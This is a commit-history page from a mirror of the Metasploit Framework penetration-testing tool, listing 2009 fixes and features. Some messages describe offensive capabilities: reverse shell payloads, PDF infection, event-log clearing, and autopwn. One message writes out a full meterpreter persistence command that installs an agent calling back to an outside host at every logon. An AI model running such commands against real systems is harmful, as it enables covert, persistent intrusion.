infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
4,714 Commits
7 Branches
556 Tags
421 MiB
Commit Graph

2243 Commits (5c39fd102af4dfc4d2f4a9900dd8113be7f1c24b)

Author SHA1 Message Date
HD Moore 9141d4e967 Condense the lorcon2 each_packet method, the queue isnt necessary after testing 
git-svn-id: file:///home/svn/framework3/trunk@7294 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-28 01:41:17 +00:00
HD Moore 31276e1626 Fixes #427. Finally found a solution that works for 1.8 and 1.9, this allows lorcon modules to run in the background or foreground and handle interrupts from the console gracefully. Its still a hack 
git-svn-id: file:///home/svn/framework3/trunk@7293 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-28 00:19:17 +00:00
HD Moore 5234fe8ff8 Fixes 416. Adds the rm/del commands to meterpreter, fixes build problems triggered by the POSIX code merge 
git-svn-id: file:///home/svn/framework3/trunk@7291 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-27 02:31:07 +00:00
HD Moore 6dcffd0373 Catch attempts to migrate to a name vs a pid 
git-svn-id: file:///home/svn/framework3/trunk@7289 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-27 00:56:56 +00:00
HD Moore 8d8bc45dfd Adds a shortcut for getting a shell (execute -f cmd -c -i -H) is now just "shell" 
git-svn-id: file:///home/svn/framework3/trunk@7288 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-27 00:47:00 +00:00
HD Moore e1559b1ab4 Fixes #408. Trims leads spaces, adds trailing space, prevents line wipe when tab completing is done 
git-svn-id: file:///home/svn/framework3/trunk@7284 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 20:33:55 +00:00
HD Moore 5e137e92fd Fixes #381. To scan for TLSv1 only services, set SSLVersion TLS1 
git-svn-id: file:///home/svn/framework3/trunk@7282 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 19:48:15 +00:00
HD Moore 478a7ce8ab Fixes #410. Calls the real _close function, not the best solution, but will do until we fix the IO::Stream override. 
git-svn-id: file:///home/svn/framework3/trunk@7281 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 19:06:50 +00:00
HD Moore 91dd38550f Fixes #398. Allow globals to override local defaults, but fallthrough to local defaults if no global or local is set 
git-svn-id: file:///home/svn/framework3/trunk@7280 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 18:48:06 +00:00
HD Moore 32f7d742b3 Fixes #328. Crafty little bug -- if asm was "" vs nil, the stage would try to compile as metasm instead of using the raw payload. 
git-svn-id: file:///home/svn/framework3/trunk@7278 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 17:44:43 +00:00
HD Moore 6da0013b91 See #378. Additional fix for batch mode 
git-svn-id: file:///home/svn/framework3/trunk@7264 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 03:54:44 +00:00
HD Moore 8328bf654b Fixes #358. Adds progress reporting at 10% intervals (min granularity is thread count) 
git-svn-id: file:///home/svn/framework3/trunk@7263 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-26 03:49:07 +00:00
et 7a24a5495e Fix #414 globaly defined datastore values are now rewriten before RHOSTS, RPORT, SSL are set. Support of hostnames instead of ips. Minor version changes 
git-svn-id: file:///home/svn/framework3/trunk@7262 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-25 22:20:59 +00:00
HD Moore f9f690b0e7 Updated prefetch script and creation of Rex::Script::Completed as a clean way to exit meterpreter scripts 
git-svn-id: file:///home/svn/framework3/trunk@7257 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-25 20:50:07 +00:00
HD Moore e3f68f2639 Another large number of warnings fixed by Yoann Guillot 
git-svn-id: file:///home/svn/framework3/trunk@7248 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-25 17:18:23 +00:00
HD Moore b38a74c961 Another mega-patch from Yoann Guillot: fixes warnings generated by method calls with a space betwee the method and the parans, corrects a problem with the alpha encoders that causes them to overwrite the allowed charset, hardcodes the metasm output size of some modules in order to reduce load time, more to come 
git-svn-id: file:///home/svn/framework3/trunk@7246 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-25 16:40:19 +00:00
HD Moore c4e8c52585 Import some basic ssh fuzzers and a smb fuzzer that can trigger the smb2 negotiate bug 
git-svn-id: file:///home/svn/framework3/trunk@7243 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-25 03:25:15 +00:00
HD Moore cae0d61491 Adds a basic fuzzing mixin, as well as a TDS username fuzzer to demonstrate usage 
git-svn-id: file:///home/svn/framework3/trunk@7241 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-25 01:40:27 +00:00
HD Moore b53a596ff0 Merge in David Kennedy's new MSSQL changes (centralized SQL query mixin) 
git-svn-id: file:///home/svn/framework3/trunk@7236 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-23 19:15:32 +00:00
HD Moore 07653cb452 Fix a typo for 1.9.1 support 
git-svn-id: file:///home/svn/framework3/trunk@7232 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-23 13:58:21 +00:00
HD Moore 1acf372dce Roll Lorcon2 into the metasploit tree, still testing the modules. See #378 
git-svn-id: file:///home/svn/framework3/trunk@7228 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-23 04:32:26 +00:00
HD Moore 51ad52d63a Moving towards beta 
git-svn-id: file:///home/svn/framework3/trunk@7221 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-21 02:36:02 +00:00
HD Moore 00b2915554 Fixes #342. Set ReverseConnectRetries to a value between 1 and 255 (default is 5). On failure it will ExitProcess (still better than a cpu spin) 
git-svn-id: file:///home/svn/framework3/trunk@7217 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-20 20:31:14 +00:00
kris b75ef037c3 more tabs vs spaces, and fix a few mismatched indentation levels (def/end, etc) 
git-svn-id: file:///home/svn/framework3/trunk@7211 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-20 17:24:33 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line: 
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-19 02:42:39 +00:00
HD Moore 4ac27c9803 Consolidate common APIs into the mixin 
git-svn-id: file:///home/svn/framework3/trunk@7195 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 20:58:01 +00:00
et dc415c76ca Fixes #364. Added error message detection and signatures 
git-svn-id: file:///home/svn/framework3/trunk@7187 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 19:46:30 +00:00
HD Moore 4d4c0905ef Slightly improved error handling for auxiliary and exploit modules. Improved brute forcing mode for mssql_login. Serious errors (broken code, etc) are bubbled up in auxiliary scanners now. Fixes #384 by reading wordlists one line at a time and not buffering 
git-svn-id: file:///home/svn/framework3/trunk@7185 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 18:03:02 +00:00
HD Moore a17d96a1ab Remove the last usage of ReadWriteLock in the Socket class. Fixes #383 
git-svn-id: file:///home/svn/framework3/trunk@7182 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 09:24:36 +00:00
HD Moore 88fba8c38a Handle a null response better 
git-svn-id: file:///home/svn/framework3/trunk@7180 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 03:09:30 +00:00
HD Moore 490545602a Chunk long sql queries into blocks, fixes mssql_payload 
git-svn-id: file:///home/svn/framework3/trunk@7179 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 03:07:25 +00:00
HD Moore 681e2c940c Fixes #379. Massive rewrite of the MSSQL mixin. This moves everything to TDS 7.0 instead of the old crusty protocol 
git-svn-id: file:///home/svn/framework3/trunk@7178 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-18 01:17:58 +00:00
HD Moore 8d9356f40d Minor tweak allows the 'quit' command to work inside of a resource script 
git-svn-id: file:///home/svn/framework3/trunk@7177 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-17 16:53:21 +00:00
HD Moore d0b07c0c3f Fixes #353. If the problem persists, make sure 'cygpath' is installed, it sounds like the root cause is 3.3-dev being run inside of an existing cygwin environment. 
git-svn-id: file:///home/svn/framework3/trunk@7176 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-17 06:41:37 +00:00
HD Moore 27192b303b Fixes #270. Allow the user to set BasicAuthUser and BasicAuthPass in order to authenticate using the HTTP mixin 
git-svn-id: file:///home/svn/framework3/trunk@7175 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-17 06:20:14 +00:00
HD Moore d3aa513773 Fixes #339. Cleans up author names for the most part - there are still some stragglers, but this should fix up the frequent contributors 
git-svn-id: file:///home/svn/framework3/trunk@7173 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-17 05:55:15 +00:00
HD Moore ce25403e18 Fixes #356. Delete poorly formatted reference entries, preventing bad reference objects from being stored in the actual module 
git-svn-id: file:///home/svn/framework3/trunk@7172 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-17 05:25:29 +00:00
kris efe44ba6b5 bleh.. a bit of tabs vs spaces 
git-svn-id: file:///home/svn/framework3/trunk@7171 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-16 18:27:18 +00:00
HD Moore 3b49e2af58 Add an optional timeout for mssql 
git-svn-id: file:///home/svn/framework3/trunk@7161 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-14 20:56:36 +00:00
HD Moore ce9bfec34f Fix string handling 
git-svn-id: file:///home/svn/framework3/trunk@7160 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-14 17:51:44 +00:00
HD Moore cd2968a32a Updated mssql_sql and backend mixin, can handle most column types and is somewhat usable as a mssql client 
git-svn-id: file:///home/svn/framework3/trunk@7159 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-14 17:41:12 +00:00
HD Moore c5b23fbb02 Better result parsing, fix a slice!() on nil 
git-svn-id: file:///home/svn/framework3/trunk@7158 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-14 14:25:26 +00:00
HD Moore a782a68c42 Complete overhaul of the MSSQL API, fixes 1.9 compat issues and makes the MSSQL testing easier 
git-svn-id: file:///home/svn/framework3/trunk@7154 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-13 22:24:47 +00:00
kris a4679bc3fc sort meterp use -l output so exts like priv and priv.x64 are grouped together 
git-svn-id: file:///home/svn/framework3/trunk@7141 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-11 18:24:38 +00:00
kris b6fa63701b require srv stuff along with the other rr types 
git-svn-id: file:///home/svn/framework3/trunk@7135 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-10 16:05:27 +00:00
kris 4ba9438e56 Append newline to meterpreter use -l output (was running into prompt) 
git-svn-id: file:///home/svn/framework3/trunk@7134 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-09 04:33:59 +00:00
kris 672fd9e977 Meterpreter ipconfig Ruby 1.9 fix. This fixes string indexing errors and 
(after that was fixed) the fact that sprintf "%02X" now decides to bail when
given a nil instead of it giving zeros.


git-svn-id: file:///home/svn/framework3/trunk@7133 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-08 16:46:13 +00:00
HD Moore 6f67271c31 fixes #351. Forces data to ascii-8bit encoding, removes the 1.9 hack, fixes octet-field conversion 
git-svn-id: file:///home/svn/framework3/trunk@7129 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-05 23:12:35 +00:00
HD Moore 087a248f16 Remove debugging line; 
git-svn-id: file:///home/svn/framework3/trunk@7127 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-04 23:16:28 +00:00
kris e0f885d50c Let db_autopwn -I/-X work with a single addr 
git-svn-id: file:///home/svn/framework3/trunk@7126 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-04 20:20:43 +00:00
kris 47d8e02389 Specify that db_autopwn -b is default 
git-svn-id: file:///home/svn/framework3/trunk@7125 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-04 19:48:48 +00:00
kris 50f2f90646 db_autopwn -I/-X fix for Ruby 1.9 (calling each() on a string). Now commas 
are allowed in the host specs in general.


git-svn-id: file:///home/svn/framework3/trunk@7124 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-04 19:43:06 +00:00
HD Moore 06818ae2bf Handle cases where a scanned host has no ports open 
git-svn-id: file:///home/svn/framework3/trunk@7122 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-03 20:05:36 +00:00
HD Moore b198631746 Fixes #349 by upgrading to bit-struct trunk, however something is now causing a segv in the ruby VM (guessing the pcaprub code). 
git-svn-id: file:///home/svn/framework3/trunk@7120 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-03 18:45:32 +00:00
HD Moore c628302e72 Define the full class name for the history variable; 
git-svn-id: file:///home/svn/framework3/trunk@7118 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-02 16:17:27 +00:00
HD Moore 304ed6b0a6 During a recursive download, ensure that the local directories are created properly 
git-svn-id: file:///home/svn/framework3/trunk@7117 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-02 14:57:25 +00:00
HD Moore 9e19121858 Print an error if openssl is not installed, this is a workaround until we have a better way to show how missing optional dependencies affect the feature set. 
git-svn-id: file:///home/svn/framework3/trunk@7116 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-02 14:24:10 +00:00
HD Moore 35fcf8c2b2 Swap around rbreadline - load it by default, but also allow the old readline with the -L (--real-readline) parameter to msfconsole. This also fixes absolute path handling for msfconsole command passthrough 
git-svn-id: file:///home/svn/framework3/trunk@7115 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-02 14:17:03 +00:00
HD Moore 54437321eb Disable inputrc processing, its not deterministic and will be impossible to support as implemented. 
git-svn-id: file:///home/svn/framework3/trunk@7111 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-02 00:03:55 +00:00
HD Moore 4e244d654d Catch parsing errors in the inputrc file 
git-svn-id: file:///home/svn/framework3/trunk@7110 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-01 21:02:50 +00:00
HD Moore b4d6ba1170 Check for nil before trying to replace a line 
git-svn-id: file:///home/svn/framework3/trunk@7108 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-01 16:47:48 +00:00
HD Moore 92359fecc5 Fix some 1.9 compat issues, wrap missing methods, extend to the cxt structure to include mb (used elsewhere) 
git-svn-id: file:///home/svn/framework3/trunk@7107 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-01 16:27:18 +00:00
HD Moore 5f010aa4b9 Fix some remaining 1.9 compatibility issues 
git-svn-id: file:///home/svn/framework3/trunk@7105 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-01 16:01:53 +00:00
kris f13bf727c8 See #348. Make platform list (platform_to_s) a comma separated string as the 
method comment suggests (other *_to_s methods are like this).  This wasn't an
issue before, but now otherwise Ruby 1.9 prints arrays differently like:

Platform: ["Windows", "Linux", "BSD", "Solaris", "BSDi", "OSX"]



git-svn-id: file:///home/svn/framework3/trunk@7103 4d416f70-5f16-0410-b530-b9f4589650da
 2009-10-01 05:47:51 +00:00
kris 8efeb58285 add simple sessions -K to kill all. useful at least when i'm testing. 
git-svn-id: file:///home/svn/framework3/trunk@7100 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-30 23:00:15 +00:00
HD Moore 3c79917fb0 Disable vi editing-mode, as its not completely implemented 
git-svn-id: file:///home/svn/framework3/trunk@7097 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-30 20:36:04 +00:00
et debf126d32 Save wmap reports to a file 
git-svn-id: file:///home/svn/framework3/trunk@7096 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-30 04:20:06 +00:00
HD Moore 0c802ea3e1 Fixes #345. Adds a more stringent check for ::Encoding class being defined, should work around false positives with getbyte 
git-svn-id: file:///home/svn/framework3/trunk@7095 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-30 03:25:39 +00:00
HD Moore ce1b528b05 Fixes msfgui to load properly again 
git-svn-id: file:///home/svn/framework3/trunk@7094 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-30 03:20:11 +00:00
HD Moore 3500745d70 Revert previous changes, easier to just include infocmp and terminfo 
git-svn-id: file:///home/svn/framework3/trunk@7092 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-29 03:42:26 +00:00
HD Moore 7b28cdacd8 Handle lacking infocmp a little smoother 
git-svn-id: file:///home/svn/framework3/trunk@7091 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-29 03:30:15 +00:00
HD Moore 542b3de249 Handle the case where there is no infocmp 
git-svn-id: file:///home/svn/framework3/trunk@7090 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-29 03:26:23 +00:00
HD Moore c679e11f4e See #343. Switches metasploit to the pure ruby readline - time for extensive testing 
git-svn-id: file:///home/svn/framework3/trunk@7089 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-29 03:03:17 +00:00
James Lee 53e3f166f8 make x86/nonupper raise the right exception type, prettify some formatting 
git-svn-id: file:///home/svn/framework3/trunk@7083 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-28 05:23:23 +00:00
HD Moore 3647d1c524 Time to give up the warning, any leftover bugs are probably applicable to 1.8.x too 
git-svn-id: file:///home/svn/framework3/trunk@7081 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-28 03:15:10 +00:00
HD Moore d5c62fa7e2 Make msfweb easier to exclude in packaging 
git-svn-id: file:///home/svn/framework3/trunk@7080 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-28 03:12:56 +00:00
HD Moore 5972666f63 See #339. Massive cleanup of author names, make them consistent across modules 
git-svn-id: file:///home/svn/framework3/trunk@7075 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-27 21:30:45 +00:00
HD Moore 714e887a60 Fixes #313. Makes some usage changes to ET's screenshot method, tested on XP SP3 with no problems 
git-svn-id: file:///home/svn/framework3/trunk@7073 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-27 18:42:34 +00:00
Stephen Fewer 1a220d6dc5 add java payload jsp_shell_reverse_tcp. 
git-svn-id: file:///home/svn/framework3/trunk@7071 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-27 18:35:07 +00:00
HD Moore 5be5a20ba7 fixes #285. Corrects SSL init to be after proxies, fixes issues with 1.9.1 compatibility and SOCKS support 
git-svn-id: file:///home/svn/framework3/trunk@7070 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-27 15:36:30 +00:00
kris 41157e97fe make run -a functional 
git-svn-id: file:///home/svn/framework3/trunk@7068 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-26 22:34:48 +00:00
HD Moore f036d807e3 Register the session before calling the handler's on_session() method, there may have been good reasons to avoid this before, by walking through the code it doesn't seem like they are still applicable. Fixes #266 
git-svn-id: file:///home/svn/framework3/trunk@7067 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-26 18:47:44 +00:00
et a89914d448 Finally screenshot capture. BMP at this time 
git-svn-id: file:///home/svn/framework3/trunk@7063 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-26 04:05:09 +00:00
HD Moore ee9a8f4f76 Adds support for the reverse_tcp_allports stager for Windows. This payload tries to connect back on all ports, one at a time, from LPORT to 65535. This is incredibly slow (depends on the default socket timeout) and requires the user to forward all TCP ports of LHOST to a single listening port in the handler. Inspired by a few user requests and this blog post: http://clinicallyawesome.com/post/196352889/blind-connect-back-through-restrictive-firewall 
git-svn-id: file:///home/svn/framework3/trunk@7058 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-25 05:44:50 +00:00
HD Moore 069144f56a Dont print the bind message for the any address 
git-svn-id: file:///home/svn/framework3/trunk@7057 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-24 20:52:58 +00:00
HD Moore eaf5368f98 Allow the DisablePayloadHandler option to be set, this prevents the default payload handler from being called. Fixes #307 
git-svn-id: file:///home/svn/framework3/trunk@7056 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-24 20:36:30 +00:00
HD Moore 479add54e1 Mostly fix file information in listings -- Ruby 1.8.x used the builtin FileStat, 1.9 now users our own, and the offsets were off from the stat structure 
git-svn-id: file:///home/svn/framework3/trunk@7054 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-23 21:20:09 +00:00
HD Moore 0d1098e6bf Make the SMB connect() method take an optional 'global' argument, allows for secondary SMB connections 
git-svn-id: file:///home/svn/framework3/trunk@7053 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-22 21:26:20 +00:00
James Lee a127213a70 Assignment-by-reference causes breakage when using the Array.new(num, obj) syntax. Fixes #330 
git-svn-id: file:///home/svn/framework3/trunk@7052 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-22 06:49:52 +00:00
James Lee 21ff66996a make logging a little more useful when encoding 
git-svn-id: file:///home/svn/framework3/trunk@7051 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-22 06:45:58 +00:00
HD Moore c34c999ac3 Remove the default versions, since these are not used. See #333 
git-svn-id: file:///home/svn/framework3/trunk@7050 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 22:14:58 +00:00
HD Moore 5e37dfa040 Fixes #325. Dont pass nil to the FileStat constructor, be strict about class path 
git-svn-id: file:///home/svn/framework3/trunk@7049 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 22:12:46 +00:00
HD Moore 602b1a2efd Adds the 'clearev' command, see #317 
git-svn-id: file:///home/svn/framework3/trunk@7048 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 22:05:44 +00:00
HD Moore 1ba927f80e Updated and verbose errors to assist with error handling. See #278 
git-svn-id: file:///home/svn/framework3/trunk@7047 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 20:25:08 +00:00
HD Moore f3708fb933 Fixes #278. Handle cases where a reload fails and indicate why 
git-svn-id: file:///home/svn/framework3/trunk@7046 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 20:22:45 +00:00
HD Moore cdbfe74b1b Fixes #273. Move the passivex default port to 8000 so it doesnt conflict with the default HttpServer port 
git-svn-id: file:///home/svn/framework3/trunk@7044 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 19:46:08 +00:00
HD Moore 1d21e41156 Fix references searching from the console. Fixes #304 
git-svn-id: file:///home/svn/framework3/trunk@7043 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-20 19:40:00 +00:00
kris 29134be27a Fixes #336. Don't add 'NSS-<id>' to ref list when importing Nessus nbe/xml to 
database (report/patch by erwinpdev).

This NSS- stuff was in the original nbe code before things were copied and
reworked for the xml handling.  I'm not sure why it was there; the NSS id is
already available in the database (name).

Note that ref lists generated here can be empty now, which I think is fine.



git-svn-id: file:///home/svn/framework3/trunk@7040 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-18 17:33:46 +00:00
HD Moore b5da2c72f2 Fixes #333. Adds core and api version checks to all module loads. To specify a minimum version, add the following constant to the top of the module (outside of the class definition): 
RequiredVersions = [3.3, 1.0] # MSF 3.3+ API 1.0+


git-svn-id: file:///home/svn/framework3/trunk@7037 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-15 13:50:32 +00:00
James Lee 8b0a92ba1b fix a 1.9 bug where elements of a string are assumed to be Integers; fixes #309 
git-svn-id: file:///home/svn/framework3/trunk@7034 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-13 16:56:54 +00:00
HD Moore 0885a7262e Merge the DECT code from DK, clean some things up 
git-svn-id: file:///home/svn/framework3/trunk@7032 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-12 15:40:33 +00:00
HD Moore 0c584bae10 Match against the fullname not just the refname for -m regex filters in db_autopwn 
git-svn-id: file:///home/svn/framework3/trunk@7029 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-11 15:32:23 +00:00
Stephen Fewer 1937839e79 Patch meterpreter's sysinfo command to resolve the system language and architecture. 
git-svn-id: file:///home/svn/framework3/trunk@7028 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-10 13:09:48 +00:00
HD Moore d6d7b0e43f Raise an alert if the code size is > 2048 
git-svn-id: file:///home/svn/framework3/trunk@7013 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-08 20:33:43 +00:00
kris da61141a79 Fixes #281, pt2. This time fixing unrelated whitespace changes from the 
original patch.  I (lazily) kept it because 'svn diff -x -b' showed no
difference and it was formatted fine in vi.  This is obviously not a good
way of assessing bad whitespace formatting :)


git-svn-id: file:///home/svn/framework3/trunk@7007 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-05 23:57:42 +00:00
kris 53775ed59b Fixes #281. Add .nessus db support via db_import_nessus_xml 
Based on work by mephux and erwinp.  I started with the latter's patch and
reworked it to avoid all of duplication from the .nbe stuff.


git-svn-id: file:///home/svn/framework3/trunk@7005 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-05 04:29:53 +00:00
HD Moore 64ff8b5181 Add missing -oX argument 
git-svn-id: file:///home/svn/framework3/trunk@7004 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-04 15:14:19 +00:00
HD Moore 09eb693a97 Fix cygwin check 
git-svn-id: file:///home/svn/framework3/trunk@7003 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-04 15:11:28 +00:00
HD Moore e7b200bc23 Expand cygwin to win32 path for db_nmap on windows inside of cygwin 
git-svn-id: file:///home/svn/framework3/trunk@7002 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-04 15:04:06 +00:00
Stephen Fewer d584b4d314 Fixed migrate for x64 meterpreter (Tested on Win 7 and 2003). 
git-svn-id: file:///home/svn/framework3/trunk@6999 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-04 01:40:48 +00:00
Stephen Fewer 40ca641a96 Initial commit of the windows x64 meterpreter payloads! 
git-svn-id: file:///home/svn/framework3/trunk@6997 4d416f70-5f16-0410-b530-b9f4589650da
 2009-09-03 17:47:21 +00:00
HD Moore b1acf43bb7 Fixes #322, hooks the appropriate dbi error, also tries to load dbi via rubygems now 
git-svn-id: file:///home/svn/framework3/trunk@6982 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-27 20:13:37 +00:00
et 04491c7fb1 Fix small bug when str nil 
git-svn-id: file:///home/svn/framework3/trunk@6979 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-27 04:56:38 +00:00
HD Moore 97fed166a3 Fixes #312. Thanks for the patch! 
git-svn-id: file:///home/svn/framework3/trunk@6978 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-27 01:28:48 +00:00
HD Moore ec61dca868 Patch to make table output on the console more readable by removing the last column's padding, submitted by jduck. Thanks! 
git-svn-id: file:///home/svn/framework3/trunk@6974 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-25 09:50:14 +00:00
HD Moore cf10a62dcc Merge in the beginnings of x64 support from Stephen Fewer 
git-svn-id: file:///home/svn/framework3/trunk@6972 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-23 23:47:33 +00:00
HD Moore 474ba8860f Merges in Colin's PDF infection code from Black Hat / Defcon 
git-svn-id: file:///home/svn/framework3/trunk@6966 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-19 14:44:43 +00:00
James Lee 71bf0a12a1 remove the dll option from passivex. users shouldn't ever have to change this 
git-svn-id: file:///home/svn/framework3/trunk@6964 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-18 18:13:38 +00:00
James Lee 4dc13a9e8c fix a bug in colorization where %c gets replaced before %cya; wouldn't have been a problem until colorization gets put back in 
git-svn-id: file:///home/svn/framework3/trunk@6962 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-18 04:54:58 +00:00
James Lee bd2da7c12a revert overzealous commit 
git-svn-id: file:///home/svn/framework3/trunk@6961 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-18 04:53:35 +00:00
James Lee 08d50e0a5b fix a bug in colorization where %c gets replaced before %cya; wouldn't have been a problem until colorization gets put back in 
git-svn-id: file:///home/svn/framework3/trunk@6960 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-18 04:49:16 +00:00
HD Moore dac1251cb7 Add support for timestamping all print_status and print_error calls made by modules. Suggested by Mia 
git-svn-id: file:///home/svn/framework3/trunk@6959 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-18 03:02:37 +00:00
HD Moore b14a4ddf0b Lots of shiny new NTLM goodness from Ryan Linn 
git-svn-id: file:///home/svn/framework3/trunk@6958 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-17 20:00:05 +00:00
James Lee 1ceb752986 clean up opera detection code a bit, and add 9.62 platform detection 
git-svn-id: file:///home/svn/framework3/trunk@6939 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-06 05:54:36 +00:00
Mario Ceballos 10d3e4c19f adds support for a 10g packet given the right connect string. 
git-svn-id: file:///home/svn/framework3/trunk@6937 4d416f70-5f16-0410-b530-b9f4589650da
 2009-08-05 00:46:35 +00:00
